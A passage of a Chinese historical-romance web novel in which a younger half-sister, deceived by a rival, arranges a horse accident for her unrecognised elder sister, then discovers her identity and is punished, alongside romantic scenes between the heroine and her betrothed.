其中一个贵女提议,大家纷纷表示赞同,真正的高门贵女可不是大门不出、二门不迈的花架子,就算做不到像赵咎那样百发百中,但最简单的骑马射箭还是可以的。
“阿悦,阿池!走呀,趁着太阳还未下山,我们去后山转转。”
“我、我不会骑马……”
姜璎才说了一句,就被人笑嘻嘻打断,“不怕,我教你好了。”
“这是当我不存在吗?”顾鹤鸣挽住姜璎的手,嗔恼的看了那人一眼,“有我在,哪里需要你来代劳?”
护犊子的姿态引来一片笑声。
“好好好,不同你争!一会儿别跑,我们俩堂堂正正比一场!”
“比就比!”
姜璎被拥簇其中,别说拒绝了,就是说句话的功夫都没有。
为了方便骑马,年轻美丽的小娘子们换上了柔软的羊皮靴,向氏给姜璎戴上冪蓠,免得被日头晒伤,她柔声道:“姑娘别怕,奴婢们都在呢。”
她以为姜璎不敢骑马。
“阿媪,我没有怕。”姜璎哭笑不得,她只是还不习惯跟这么多人一起玩耍。
底下人挑了一匹品相上佳的枣红色骏马,“姑娘,这是我们这里脾气最好的马儿,平日里温顺无比,十分亲人。”
话刚说完,马儿就忍不住用脑袋拱了拱姜璎的手心。
“哎呀。”姜璎又惊又喜,展颜而笑,忍不住摸了摸它的脑袋。
这一幕被关在马厩的善行看见,直接气得脖子内弓,直打响鼻,后腿不停踢蹬,看上去恨不得扑过来给它两脚。
骚马!不许勾引我家漂亮姐姐!
姜璎在仆婢等人的保护下踩上马蹬,顾鹤鸣道:“阿姊,很好!就是这样,来,抓着绳儿。”
坐上马的这一刻,视野都仿佛开阔起来。
姜璎深吸一口气,尝试着慢慢走了几步。
顾鹤鸣一直守在边上,姜璎冲她一笑,“阿悦,你先过去吧,我一个人慢慢过来,还有这么多下人呢,没事儿的。”
也是。
马场仆婢成群,围在姜璎身边的下人少说也有十几二十个。
“那阿姊,我先过去,你记得来啊!”顾鹤鸣放下心后,一个翻身上马,身体柔软而敏捷,连冪蓠都不要,便直奔前方而去,“驾——!”
丝帛飘荡风中,仙气十足。
姜璎第一次独自骑马,难免有些紧张,不过这份紧张很快就被新奇所取代。
蔚蓝如水的天空,云彩遮住了大半的日光。
踏踏的马蹄声伴随徐徐微风一同掠过耳畔。
“阿池!”身后有人追上来,是先前嫌弃姜珞出身的一个贵女,她也戴着冪蓠,见姜璎慢吞吞走着,忍俊不禁道,“你这是要走到猴年马月去?实在不行我带着你一起吧!”
姜璎弯了弯眼,不好意思道:“我拖大家后腿了。”
“这有什么!”她微微一笑,“人各有所长,你以前没学过骑马也正常。”
说着主动下马。
正当她靠近姜璎时,原本温顺至极的枣红色骏马忽然狠狠喷出几口热气,就跟见到了情敌似的,分外眼红!
后腿躁动而不安地踢蹬,贵女带来的马儿也像是被激怒了一般,前蹄扑打过来!
变故就此发生!
两匹马肩部相撞,不仅吓得贵女直接瘫坐在地,就连马上的姜璎也险些翻滚而下。
“姑娘!”
“小主人!”
“阿池!”
伺候的马奴见势不妙,迅速翻身上马,紧紧拽着缰绳,随着前蹄高高扬起,仆婢们连忙搀扶起摔倒在地的贵女。
归南凭空出现,同梁女君安排在姜璎身边的下人一起,制住马儿。
“姑娘莫怕,抓住绳子!”
“好……”姜璎手心不住冒汗,握着缰绳,尽力俯身稳住重心,要是被甩下马,可真是不死也残了!
就跟常无忌一样。
他当时摔下马后,又被踩断腿骨,直接成了残废!
马儿疯得完全没有征兆,不像是被人动了手脚,倒像是受什么刺激。
“诶!这、这两匹马之前为了一匹母马争过!还打了一架来着!”边上的马厩管事一拍脑袋,想起来了,当下懊恼不已。
谁知道这么巧,就这么撞上了!
“哎呀呀,某些人运气很不好呢。”姜珞踩着木屐而来,一旁的仆婢撑伞的撑伞,打扇的打扇,看着比皇女还要矜贵许多。
情敌被带走以后,姜璎身下的马终于安静下来,蔫巴巴叫了一声,怎么听怎么可怜。
姜璎颠簸得身子骨差点散架,也无力去安抚它,香薷香附等人赶忙扶着姜璎下来。
“姑娘,没事儿吧?”归南一直都在附近盯着,生怕出一点差池。
“没事儿……”姜璎轻声道,只是受了些惊吓罢了,没什么要紧的。
“还嘴硬呢?”姜珞哼笑道,“瞧你这样子,怕是腿软的连路都走不了吧!”
这人命真大!
白芨听出姜珞语气不满,无奈低声道:“这位姜姑娘身边仆婢众多……”
她能想出这招,已经很不错了。
赵九郎可不是什么简单的人物,若是在马匹上动手脚,别人一查就会发现,到时候事情不好摆平,反而徒增麻烦。
不过,白芨也没想到姜璎身边藏了这么多人保护。
“阿池!”赵咎接到消息,第一时间赶来,上上下下扫了一遍,姜璎摇头道,“没有受伤,真的。”
赵咎阴沉着脸,归南明白这是要彻查的意思,当下把参与其中的人都带过来。
从马场管事到马奴,一个也没放过。
白芨心里咯噔一声,暗自庆幸没有纵容姜珞做出不可挽回的事情。
方才摔倒在地的贵女心有余悸,被下人
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们搀扶着先回去了。
姜珞怒道:“你什么意思?凭什么她能走,我不能走?!”
归南不卑不亢道:“事出蹊跷,还请姜姑娘多多包涵,等属下查清,立马派人送您回去。”
姜珞觉得他们简直有毛病,“又没出什么事!再说了,就算出事,也是你们自己运气不好,凭什么怀疑别人头上!”
她冷哼一声,“说不定是老天爷长眼,这才让某些黑心肝的遭到报……”
姜璎冷冷看她一眼,姜珞心里发毛,自动闭麦。
正不服气呢,日光透过云彩落在那块和田桃花玉上,晃得人眼睛疼。
姜珞抬手捂住眼睛,心中浮现小小的困惑。
那块玉佩,怎么这么眼熟?
她想也不想冲上去,只是还没近姜璎身,就被香薷等人拦了下来。
“这是我母亲的玉!”姜珞这回看清楚了,小的时候,嫡母时常拿这块宛若桃花一般的玉佩逗她们,她喜欢抱着玉佩啃,姐姐就在边上咯咯笑。
姜珞忽然安静下来。
一个不可思议的念头浮上心头。
她开始汗流浃背,“你、你……”
姜璎冷冷道:“这是我母亲的玉。”
是重复,亦是反驳。
姜珞差点膝盖一软,整个人跪在地上,“我、我……”
完了。
她好像做了一件绝无仅有的蠢事!
“九郎!”归南查出来了,目光落在姜珞身上,“白芨姑娘,你去过马厩。”
白芨强装镇定,“是,我去给我家姑娘挑选马儿。”
一个很不错的理由。
完全合乎情理。
“但有人看见你给马奴塞钱,指使他给杜姑娘换马。”
杜姑娘就是刚才的热情贵女。
白芨矢口否认,“我没有!”
姜珞却一眨不眨地看着姜璎,她想起小时候,姐姐跟她说过,自己做过的事情就要承认,勇于承认才是好孩子。
“是我做的!”她供认不讳,又急急忙忙道,“但是、但是……”
“阿姊!”顾鹤鸣的声音打断了现场,她着急赶来,见到姜璎没事,松了口气,扶着心口道,“怎么好端端的也能碰到这种事儿?”
“她才不是你阿姊!”姜珞怒视道,跟头小牛犊似的,直接撞开了面前的仆婢,将顾鹤鸣一把推倒在地,“她是我姐姐!是我的!是我的!是我的!!!”
突如其来的发疯,让在场所有人都吓了一跳。
“阿悦!”姜璎连忙扶起顾鹤鸣。
“不许!姐姐!”姜珞尖声道,母亲说过,姐姐只有她一个妹妹,那是她的姐姐!她的!
她想要抱住姜璎,阻止她靠近顾鹤鸣,但这一次,向氏等人可不会再由着她胡作非为了。
“阿姊,她发什么疯?“顾鹤鸣一脸震惊。
“不知道。”姜璎态度冷淡。
就这么三个字,令姜珞当场破防。
她呆呆地看着姜璎,哇地一声哭了出来。
第115章 纯情
哭声惊天动地,震耳欲聋,惊住了所有人。
这还是姜珞长大以来第一次哭这么厉害,她满脸泪水,垂在身侧的手捏得死死的,从嚎啕不止到抽抽嗒嗒,声音很快变得嘶哑。
白芨等仆婢手足无措,下意识求助地看向姜璎。
“大姑娘……”
白芨后悔得肠子都青了,恨不得一头碰死地面。她自诩稳重,却跟姜珞一样轻信了姜宝瑜的话,从始至终连姜璎的身份都没有打听清楚,就妄下定论,几乎险些酿成大祸!
“这是怎么了?”
跑马回来的贵女们满是愕然地看着这一幕。
顾鹤鸣解释了一遍刚才发生的事情,心有余悸道:“还好阿姊没事儿……”
话没说完,姜珞尖声道:“谁是你阿姊!她不是!”
她红着眼睛死死瞪着顾鹤鸣,满面泪水、仪态全无,不知道的还以为是哪里跑出来的小疯子。
有人看不惯她,冷哼道:“姜姑娘好生霸道,不是阿悦的阿姊,难道还是你的不成?”
“本来就是我的!”姜珞哭吼道,情绪激动的差点一个没喘上气来。
“姑娘!”白芨连忙扶住姜珞。
大家于是纷纷看向姜璎,目光中满是好奇和打量。
这抢男人不少见,抢姐姐的还是头一回见。
赵咎闷笑一声,挑了挑眉,“你妹妹?”
姜璎立马道:“你妹妹。”
赵咎无辜道:“我母亲可没有给我生过妹妹。”
姜璎澄清道:“我母亲也没有!”
两人你一言我一语,直接把姜珞气哭了,她扯着一口破锣似的嗓子大吼大叫,“你是什么东西,这里哪有你说话的份!不许!不许站在我姐姐边上!!”
在姜珞看来,姐姐不认她,肯定是她先做错了,要不就是有人挑拨离间!
反正天错地错,也不会是姐姐的错。
她扑上来,被仆婢等人拦住。
张牙舞爪的模样,荒谬中又流露一丝滑稽。
“无能狂怒啊。”赵咎感叹道。
“……”姜璎认真看了一会儿,“还真是。”
她对姜珞本来就没什么好感,更别说她还想害自己。
赵咎低头询问道:“既然她对自己做的事供认不讳,那就让姜大人,她父亲来处理此事,你觉得怎么样?”
“可以。”姜璎点了点头,但她暂时不想看见那位血缘上的生父,“你送我回去好不好?”她轻轻揪了一下赵咎衣袖,眼巴巴看着他。
赵咎眼底划过一抹笑意,轻咳一声:“不要撒娇。”
姜璎脸颊泛红,小声反驳:“才没有。”
赵咎一副真拿你没办法的表情,“嗯,你说没有就没有吧。”
顾鹤鸣默默举手,“阿姊,还有未来姊夫,打情骂俏之前可不可以先把我送回去?”
一众贵女扑哧笑了。
“阿悦,你都喊未来姊夫了,就别杵人家中间煞风景了!”
“来来来,我送你回去得了!”
“哎呀,先前谁说赵九郎君不好相处的?人家明明很贴心好不好?”
时下对男女之防管得并不严,尤其是未婚夫妻之间,大家更多的是打趣和祝福。
眼看着姜璎要离开,姜珞哇哇直哭。
“不许走!姐姐——!”
“这怎么就是你姐姐了?”顾鹤鸣并不知道萧止柔的真正身份,一脸莫名其妙,“姜珞,你发什么疯?先前还想欺负我阿姊,这会儿又是闹的哪一出?”
姜珞的哭声忽然卡顿了一下。
她呆呆地看着姜璎的背影,姐姐生气了,姐姐看都没看她一眼,姐姐……很讨厌她。
泪如潮水涌来。
“姐姐!我错了!我不是故意的,我不知道、我当时真的不知道……”她追上去,因为跑的太快直接摔了个狗啃泥。
姜璎脚步停顿,回头看了一眼。
姜珞摔坐在地,看着狼狈又可怜,平日里漂亮的猫眼在此刻灰扑扑的,见姜璎回头,才出现一点光亮,一副要哭不哭的样子。
“姐姐……”
“大姑娘,我们一开始不知道你的身份!姑娘她找了你好久,她就是为了你才来的盛京!”白芨急急忙忙解释。
身份?
什么身份?
众人神色各异。
姜璎皱了皱眉,“我不知道你在说什么。”
“不过——”
白芨心中燃起希望,姜珞更是一眨不眨地看着姐姐。
姜璎道:“我不是你的姐姐,你想要姐姐,可以去找姜宝瑜。”
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咔嚓一下。
姜珞的心直接摔**。
“我……不是的,我跟她不熟……”小声辩驳,眼泪淌到了嘴巴里,苦的不能再苦。
姜珞想给自己邦邦两拳。
想要时间倒流。
打死那个不长眼的自己。
她怎么就这么蠢啊!她为什么不问问姐姐的名字,为什么会听姜宝瑜的话,为什么……
姜珞哭得上气不接下气。
白芨跪在她身边,后悔莫及,又不得不忍痛提醒:“姑娘,老爷马上就来了。”
还是想想一会儿怎么跟老爷解释吧。
姜珞哭声骤停。
鼻涕泡破了。
想了想,她眼一闭心一横,视死如归道:“让阿父打死我吧!反正姐姐也不要我了!我**算了呜……”
说到最后又开始掉眼泪。
白芨:“……确定不再挣扎一下吗?”
姜珞哽咽道:“还能挣扎吗?我还有救吗?”
白芨委婉道:“试试吧,不行再死也来得及。”
姜珞:“……”
主仆二人安静片刻,姜珞似乎找回了一点脑子,犹犹豫豫道:“要不,让阿父把我打个半死,我再背一捆柴,去姐姐面前负荆请罪。”
这也是个好主意。
白芨取出帕子,给姜珞擦了擦脸,低声道:“奴婢已经派人去把姜宝瑜看管起来,如果她还没逃的话……”
“她敢逃我杀了她!”姜珞凶神恶煞道,她现在不仅恨自己猪脑子,更恨满口谎言的姜宝瑜!
另一边,姜璎也好奇姜宝瑜说了什么,竟然能唆使得了姜珞对自己下手。
她难道不怕事情败露,姜珞供出她来吗?
“以她的脑子,还真不一定会供出姜宝瑜。”赵咎嘲笑道。
别人是头脑简单四肢发达,姜珞是头脑简单,四肢也不发达。
完全就是被人耍的料。
姜璎无奈道:“不提她了。倒是你,过来找我,会不会耽误你的事儿?”
赵咎想也不想道:“我还有什么事儿能比你重要?”
姜璎脸红耳热,严肃道:“赵咎,你以为你这么说,就能把派人监督我这件事蒙混过去吗?”
赵咎眨了下眼,一脸纯情:“……不能吗?”
第116章 维护
姜璎默默看着他。
两人似乎在进行一场无声的较量。
“或许用监视来形容,更合适一些?”她歪了歪脑袋问。
“不合适。”赵咎立马反驳,两人之间隔着一张长案,他戳了戳姜璎白嫩嫩的脸蛋,认真纠正道,“这叫暗中保护,情有可原。”
姜璎轻轻哼了一声。
软乎乎的面颊被戳出一个又一个凹陷小漩涡,赵咎似乎玩上瘾了,两根食指挑起嘴角,“来,我们笑一个。”
姜璎微微睁圆眼睛,她还在生气呢!
赵咎说:“笑一笑嘛。”
姜璎脸颊微鼓,忽然侧过脑袋,趁其不备,微微张嘴,嗷呜一口咬住他左手食指!
赵咎闷哼一声,身体不自觉地紧绷。
“阿池你……”
“这叫防人之心不可无。”姜璎含糊道,其实根本不舍得用力,只轻轻咬了一下指腹,跟幼崽磨牙似的。
他们回帐篷的时候已经洗手净面,所以她一点儿也不嫌弃,咬一口,再咬一口。
指腹沾上了水光,牙印明显。
赵咎没说话,脸上甚至没了方才轻松笑意,杏眸定定地看着姜璎。
看得人不免心虚。
“我给你擦一下。”她取出帕子,十分积极,不仅把指腹擦的干干净净,还用了包扎伤口的方式,裹上一层又一层。
不知道的还以为受多大伤。
赵咎绷不住了,张牙舞爪扑过来,把姜璎压在软垫上,“又勾引我!”
姜璎震惊,这不是惩罚吗?
怎么到赵咎嘴里,什么都能变成勾引?
帕子散开,赵咎举着“罪证”在姜璎眼前晃了晃,“三个牙印,你咬我三下。”
“那是因为你监视我。”姜璎道,姨母本来就不喜欢赵家,更不想她嫁给赵咎,要是让她知道赵咎安排了人暗中盯着自己……
姨母可不管是出于什么原因,指不定二话不说就给赵咎定罪!
不过现在嘛。
姜璎握住赵咎的手指,语气严肃道:“做错事情就是要接受惩罚。”
要是姨母生气,她就说她已经狠狠教训过赵咎了!
至于怎么教训……
为了维护赵咎的面子,细节方面就不一一说明了。
“我是不是很聪明?”她眨了眨眼睛,一副期待表扬的模样。
这叫上有政策下有对策。
“很聪明。”赵咎愣了半天,属实没想到姜璎耍小脾气的背后竟然藏着如此良苦用心。
他心里说不出是什么滋味,像是找到了被爱的证据,一时间酸涩大过惊喜。
他爱姜璎,只希望姜璎心里有他。
仅此而已。
他从来没想过,会有这样意料之外的收获。
“阿池……你是不是很喜欢我啊?”他小心翼翼道,杏眸亮晶晶的,藏着少年的朝气与期许。
“当然啦。”姜璎奇怪地看了他一眼,“为什么这么问?”应该没有人会不喜欢赵咎吧?她理所应当地想。
赵咎抿了抿嘴,不知道该怎么形容自己现在的感受。
他清咳一声,试图当作无事发生。
奈何嘴角疯狂上扬,死都压不住,笑意争先恐后从眼角眉梢跳出来。
“嗯,好吧。”赵咎道,又忍不住笑了一声。
姜璎:“……”
虽然莫名其妙,但有种说不出的可爱呢。
姜璎坐直身体,提起了今日发生的事情。
“赵九郎君今日一骑绝尘,大家都看见啦。”她一脸认真道,“她们都在说常七郎和宋二郎或有可能夺第一,但我觉得,有赵九郎君在的地方,胜负毫无悬疑。”
赵咎的心像是凿开了一个小洞,成桶成桶的蜂蜜灌进来,甜的他晕头转向。
“你到底跟谁学的甜言蜜语?”他忍不住道。
“真心话啦。”姜璎弯了弯眸,目光落在他胸口,多了一丝担忧,“今日射箭的时候,伤口有没有受到影响呀?”
她不理解,“我听人说,你前两年都不会去跟人比试的。”
为什么这次身上有伤,反而还如此……张扬?
赵咎微微垂眸,看上去有点可怜,“陛下说,姜使君入京,我怎么也得好好表现,免得未来岳父瞧不上我,不肯答应这门亲事。”
“什么未来岳父?”姜璎反驳道,“我只有姨母一个至亲。”
萧止柔脚步一顿,心中划过一道暖流。
眼神瞥过帐篷外的侍从仆婢,他们纷纷低头,一声不吭。
赵咎察觉到了什么,不着痕迹看了一眼门口。
“姜使君此次入京,或许就是抱着让你认祖归宗的意图。”
“姨母不喜
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欢他,我不认。”姜璎皱了皱鼻子,认真道,“你不用怕那什么姜使君,有姨母在呢,姨母可厉害了。”
萧止柔听到前面那句话,就已经开始嘴角上扬,眼神温柔似水。
赵咎咳了一声,低声问:“我跟梁女君,谁更厉害一点?”
姜璎还真就认真思考了一下,脑海里一会儿浮现赵咎碾压常无忌的画面,一会儿浮现萧止柔掌掴刘氏的场景。
最后道:“一样厉害!”
赵咎轻哼:“敷衍我。”
姜璎只好凑到他面颊亲了一下,小声道:“在我心里,你最厉害。但是姨母是长辈呀,我们尊敬长辈。”
温热的气息洒在肌肤,浮起一片绯色。
赵咎算是被哄好了,飞快地啄了一下姜璎的唇瓣,在萧止柔进来前拉开距离。
“阿池。”
“姨母?”
姜璎心跳加快一瞬,有种做坏事被抓包的感觉,起身乖乖站在一边儿。
“赵九郎也在啊。”萧止柔淡淡看了一眼赵咎,他今日可算是出够了风头,哼!赵堰的儿子,果然不是什么善茬,竟然还派了人时时刻刻盯着阿池。
“姨母,你怎么过来了?”姜璎眼见不对,连忙挡在了赵咎面前。
萧止柔握着她的手,“姨母听说你差点出事了,特意过来看看。”
“呃,也没什么事儿,就是运气不好,我的马和杜姑娘的马凑到一块就打架了。”萧止柔被她逗乐了,姜璎见状又给赵咎说好话,“还好赵九郎君来得及时,不然我还真有点害怕呢。”
外头归南唤了一声,“九郎,陛下召你过去。”
姜璎立马道:“那你快去吧。”
萧止柔似笑非笑地看了一眼外甥女,就这么维护,生怕她这个“恶婆婆”对“媳妇”做什么吗?
姜璎心虚低下头,好在萧止柔没有计较。
“阿向,人抓到了吗?”她问,向氏走进来,摇了摇头道,“老奴慢了一步,已经被天水姜氏的人抢先带走。”
萧止柔冷笑一声,一群背主忘恩的**!
“你带上人,把参与其中的所有人都给我抓过来。”包括那个贱种!
“姨母?”姜璎听得心惊胆战,这可是马场,陛下还有天水姜氏的家主都在。
“放心,姨母有分寸。”
第117章 坑爹
姜昀得到消息时,正在与人品茶。
“知道明昭要来,我特意带了刚得的银针,又让人取来今年新采的梅雪,梅雪泡银针,再雅不过!”一青袍男子爽朗大笑。
“振德有心了。”
姜昀唇畔含笑,举起茶盏轻啜一口。他今日一身月白深衣,斑驳光影落在眉梢,色转皎然,说不出的俊美风流。
周遭的人不禁看痴了。
姜昀出身高贵,祖上历代高官,在前梁可谓是喧嚣赫赫,母亲、发妻更是嫡出公主,他自己书画双绝,即便在名士之中,那也是响当当的人物,不管去哪儿都是受人追捧。
这样的人,竟然会把妾室扶正作为续弦!
不少人暗中惋惜,又听说姜昀如今膝下仅有一女,更是好奇到底是何等姿色,让他如此痴情着迷。
“主君。”心腹侍从低声汇报方才发生的一切。
姜昀唇畔笑意倏忽凝固,面色铁青,只勉强保持风度,“振德。”
孟颛立马道:“明昭若有事,但去无妨。”
姜昀面带歉意,也没有跟他客套,起身往帐篷走去。
“蠢货!”
他看见跪在地上的姜珞,素来温和俊雅的面容沉了下去,“谁让你做这种事情的?”
伺候姜珞的仆婢跪了一地。
姜珞呜呜哭道:“我、我不知道姜宝瑜口中的养妹就是姐姐……她说可以帮我见到梁女君,见到姐姐,我就想着投桃报李,替她出气。”
“投桃报李?我看你是书都读到狗肚子里去了,被人耍的团团转!”
戒尺扔在桌案,发出一声清脆响声。
姜珞用泪眼偷偷看了一眼,不由暗中松了口气。还好还好,戒尺而已,不是板子。
“阿父……能不能就打一只手?”她小心翼翼道,“我另外一只手还有用。”
姜昀冷笑一声,姜珞立马不说话了。
她十分熟练地摊出手心,侍从代劳,“二姑娘,得罪了。”
足足二十下,抽得姜珞眼泪狂流。
她不敢躲,也不敢嚎,肩膀一颤一颤,愣是没叫一声。
姜昀面无表情,负手而立,背对着姜珞,“等回去以后,自去找你的教养嬷嬷领罚。”
什么?
“不是已经罚完了吗?”姜珞脱口而出。
见姜昀似笑非笑,立马低下头,姜昀不由冷哼一声,“你险些害的你姐姐出事,难道不该动用家法?”
“应该、应该的!”姜珞连忙道,父亲已经开恩了,由教养嬷嬷动手,总比姨娘动手好得多。
姨娘要是知道,她被别人唆使,对自己亲姐姐下手,一定会杀了她的!
姜珞汗流浃背,不知道是害怕,还是疼的,挨打完的手红肿得跟猪蹄一样,火辣辣地疼。
“阿父……”她嗫嚅着唇,略带一丝讨好道,“我知道错了,我一会儿可不可以跟你一起去见姐姐?”
“你做出这种事,还有脸见你姐姐?”姜昀面沉如水,阿薇那丫头,本来就因为他纳妾一事怀恨在心,现在出了这事儿,怕是更不会让他见阿池了。
姜昀这次完全就是被次女给坑惨了。
他得想想办法,总不能父女俩一起吃萧止柔的巴掌吧?
姜昀看了姜珞一眼,忿哼一声,甩袖离去。
“姑娘。”白芨赶忙搀扶起姜珞,让人取来伤药。姜昀一走,两人不约而同松了口气。
“白芨,姜宝瑜人呢?!”姜珞想到这就咬牙切齿,也不急着上药了,抄起鞭子就往外走。
姜宝瑜是在离开京郊的路上被拦截下来的,白芨直接让人把她捆了,关在帐篷里严加看管。
姜珞怒气冲冲走进去,鞭子挥开帐幔,目光一扫,看见姜宝瑜被麻绳捆的严严实实,嘴里还塞了一块粗布。
“姜宝瑜!”
姜宝瑜眼神有一瞬慌乱,但很快就注意到姜珞双手红肿,一看便知是才受了罚的。
姜珞一把扯掉她嘴里的粗布,恶狠狠道:“你敢骗我!你这个**!”
白芨面色微变,这种粗俗的言辞怎么能从姑娘嘴里说出来?要是让老爷或者姨娘知道,一定不会轻饶的!就连她们这些下人,也得跟着吃不了兜着走!
姜珞一巴掌扇在姜宝瑜脸上,扇得她一阵耳鸣。
然而,姜珞越是愤怒,她便越是高兴。
“哈哈哈、哈哈哈哈哈!”抑制不住的笑声从喉咙里发出,姜宝瑜脸上的纱巾早就不知道掉到哪儿去了,她张狂大笑,丑陋的疤痕扭曲起来,看着十分恐怖。
“蠢货,你这个蠢货!哈哈哈哈哈哈哈哈哈!”
姜宝瑜笑得眼泪都出来了,她以为姜璎已经死在姜珞手里,“连自己的亲
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姐姐是谁都不知道,还天水姜氏贵女,不照样被我**于股掌之中吗?哈哈哈哈哈!”
啪——!
姜珞气得浑身发抖,一鞭子甩在她脸上。
眉心贯穿下巴,很快渗出鲜血。
姜宝瑜的笑声戛然而止。
她疼得说不出话,泪水与鲜血交织,淌了一脸。
“是你,是你一直在欺负我姐姐!”姜珞想起姜宝瑜说过的每一句话,眼神怨毒如有实质,“你还敢骗我!唆使我去杀害姐姐!”
姜宝瑜动弹不了,她感受着脸上鲜血滴落。
嘀嗒、嘀嗒,声音仿佛被放大无数倍,刺激着耳膜。
“我欺负她?她如今拥有的一切,都是因为我!一条流浪狗!要不是长得有几分像我,我阿兄又怎么会捡她回来?!”
姜宝瑜大口大口喘息,一字一句,神情狰狞,“姜珞,自相残杀的感觉怎么样?你亲爱的姐姐,远在天边近在眼前!就这么被你害了,哈哈哈哈!要怪就怪你自己!蠢得没边儿,别人说什么就信什么!”
她又开始大笑。
脸上满是张狂得意。
“你给我闭嘴!闭嘴!闭嘴!”姜珞哭着大吼,她没办法接受自己伤害了姐姐,她该死,姜宝瑜也该死!
姜珞狠狠甩过鞭子,抽在姜宝瑜身上。
衣裳很快渗出血迹,她痛得倒在地上,开始翻滚,尖叫。
姜珞打累了,扔开鞭子,扑上**死掐住姜珞的脖子。
“**!我要杀了你!”
“杀了我,姜璎也回不来了!”姜宝瑜哈哈大笑,吐出一口血沫,“怪谁啊?怪我吗?你应该感谢我才对!谢我帮你除了姜璎,这样你就是天水姜氏唯一的嫡女了!”
“胡说!你胡说!我姐姐才是天水姜氏唯一的嫡女!”姜珞尖声道,神情阴狠,十指用力,眼看着就要把人掐死。
白芨正欲阻止。
忽然外头闯进十多人。
向氏扫了一眼这场闹剧,冷冷道:“姜姑娘,我家女君有请,跟奴婢走一趟吧。”
姜珞松了手,姜宝瑜终于得以喘息,只是还不等她回神,嘴里又塞回粗布,两个婆子提着她往另一个帐篷而去。
姜珞吓得脸都白了。
跟个鹌鹑似的,手脚不知道往哪儿放,“是梁女君吗?我、我先换身衣服……”
第118章 脑子
换个屁啊换!
白芨难得在心里骂了一句,对向氏连连赔笑道:“不用换!不用换!劳烦嬷嬷走一趟,我们姑娘马上就去拜见女君。”
她拽了一下姜珞的衣袖,神情暗藏焦急。
还傻愣着呢!
姜珞得是吃了多少熊心豹子胆,才敢让梁女君等她?
“噢、噢!我即刻去拜见梁女君。”姜珞反应过来,硬生生给自己吓出一身冷汗,忙不迭道。
向氏扯了扯嘴角,“姜姑娘,请吧。”
姜珞闭了闭眼,一副视死如归的表情,不知道的还以为上刑场。
白芨又怜惜又无奈,跟在她后头,低声道:“姑娘别怕,左不过就是些皮肉苦……”
姜珞安慰自己,“没事的,没事的,反正我皮糙肉厚!”
到了陆家的帐篷,白芨等仆婢只能候在外头,姜珞鼓起勇气,低着头走进去。
“呵。”冷笑声响起。
姜珞膝盖一软,熟练地滑跪在地,边磕头边抖着声音认错:“拜见女君,千错万错都是我的错,我不该、不该……”
“行了!”萧止柔冷冷道,语气毫不掩饰的厌恶,“少在我面前装模作样!”
姜珞连声喏喏,低眉顺眼的样子,简直和之前判若两人。
姜璎不免新奇,多看了两眼。
那双明媚漂亮的猫眼此刻满是小心翼翼,也不敢东张西望,只恭敬垂着,红肿的双手紧张地绞在一起,额头青红一片,可见方才磕得有多真心实意。
然而,不管姜珞表现得如何恭敬乖顺,萧止柔的脸色都没有半分好转。
她看着姜珞,就仿佛紫菀那**近在眼前。
阿姊在世的时候,她装的要多老实有多老实,恨不得把忠心耿耿四个字刻在脑门!
结果呢?
阿姊一死,她就妾室扶正,成了续弦夫人!
若只是如此倒也罢了。
偏偏没多久,他们就弄丢了阿姊留在世上的唯一骨肉!
萧止柔简直恨透了姜昀等人。
如果不是他们疏忽大意,阿池又怎么会流落他乡,吃尽苦头?!
“你和姜宝瑜怎么认识的,给我一五一十说来!若胆敢隐瞒半分——”萧止柔冷冷盯着地上的人,警告的话还未说完。
姜珞就连忙道:“我不敢的、不敢的!”
不用人催促,她自己就把事情来龙去脉吐露得一干二净,恨不得连姜宝瑜祖宗十八代都交代清楚。
姜珞低头看地面,小声道:“我、我真的不知道她说的永安侯府养女就是姐姐……”
“谁是你姐姐!”萧止柔厉声喝道。
吓得姜珞一动不敢动,泪水凝聚在眼眶,不停地打转,愣是被她憋住了,一颗也没掉。
不能哭!
姨娘说过,姨母最烦别人哭哭啼啼。
一个不顺心,估计大嘴巴子就要飞过来。
姜珞缩了缩脑袋,跟鹌鹑似的,只敢在心里默默反驳:就是我姐姐,我的!
“你这个从紫菀肚子里出来的蠢货,也敢到我面前来攀关系?”萧止柔阴沉着脸,“阿向,掌嘴!”
向氏走到姜珞面前,胳膊高高抬起,眼看巴掌就要落下。
“阿媪!”
手掌骤然凝滞半空。
向氏不解地回头,萧止柔皱了皱眉,柔声道:“阿池,一个贱婢之女,也敢妄称你的姐妹,姨母替你好好教训她。”
姜珞没想到姐姐也在帐篷里,眼眶倏忽一红,怯生生地望着姜璎。
她动了动嘴唇,嗫嚅着,似乎是在喊“姐姐”。
但又不敢出声。
怕吃巴掌。
明明刚才还任打任骂,双眼紧闭,结果一听到姜璎的声音,立马娇气起来,满脸委屈,可怜巴巴,恨不得下一刻就扑到姐姐怀里哇哇大哭。
萧止柔怕姜璎心软,“阿池,她今日险些害你出事,如此孽障,我是断然容不得半分!”
“姨母,您也说了,她脑子不好使。既如此,何必同她一般见识?我看,姜使君也已经惩戒过她了。”
姜璎抿了抿嘴道:“最主要的还是姜宝瑜,若没有她在背后搅·弄,这一切都不会发生。”
姜珞听到姐姐为她说话,眼眶满是泪水,小幅度地点头道:“对、对,我脑子不好使的。”
还是姐姐聪明,一眼就看出来了!
萧止柔目光扫过姜珞红肿的双手,眼中一闪而过阴郁,“不过几下戒尺,算什么惩戒?”
姜昀就是偏心!
偏心庶出!
阿姊都已经给他生了女儿,他却还要把贱婢之女捧在掌心!
“女君。”外头婆子禀报,“姜宝瑜想要见您一面,她说……”
婆子抬头,又快速垂下,“她说知道您的秘密。”
这句话宛若火上浇油。
让萧止柔的怒火达到顶峰。
这些个贱婢之女!竟然敢——!
“姨母!”姜璎握住萧止柔的手臂,目光担忧,“您别生气,
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要不,我陪您过去看看吧?”
萧止柔心里恨不得把姜宝瑜**万段,又怕她真的知道点什么,勉强笑道:“不用,那些个脏东西,姨母去收拾就好,你先坐着……”
“我等姨母回来。”姜璎道,乖巧的模样令萧止柔心中熨贴不已。
她冷冷扫了一眼地上的姜珞。
姜珞忙道:“我、我也等您回来!”
萧止柔面露厌恶,“滚一边儿去!”
姜珞“噢”了一声,听话无比地打了个滚,滚到角落,才端正跪好,尽可能把身体缩小,减少存在感。
滚几圈都行。
只要能让她留在帐篷里。
姜珞觉得自己占到了便宜,心里忍不住美滋滋。
这可是和姐姐单独相处的机会!
说千载难逢老天赏饭也不为过!
尤其是萧止柔离开后,姜璎让向氏等人退下。
“姐姐!”姜珞惊喜不已,连滚带爬到姜璎跟前,抱着她大腿蹭了蹭,“我真的知道错了姐姐,你不要生我的气好不好?你打我吧,骂我吧,就是别不理我。”
姜璎被这猝不及防的爪子惊到,差点一个趔趄栽地上。
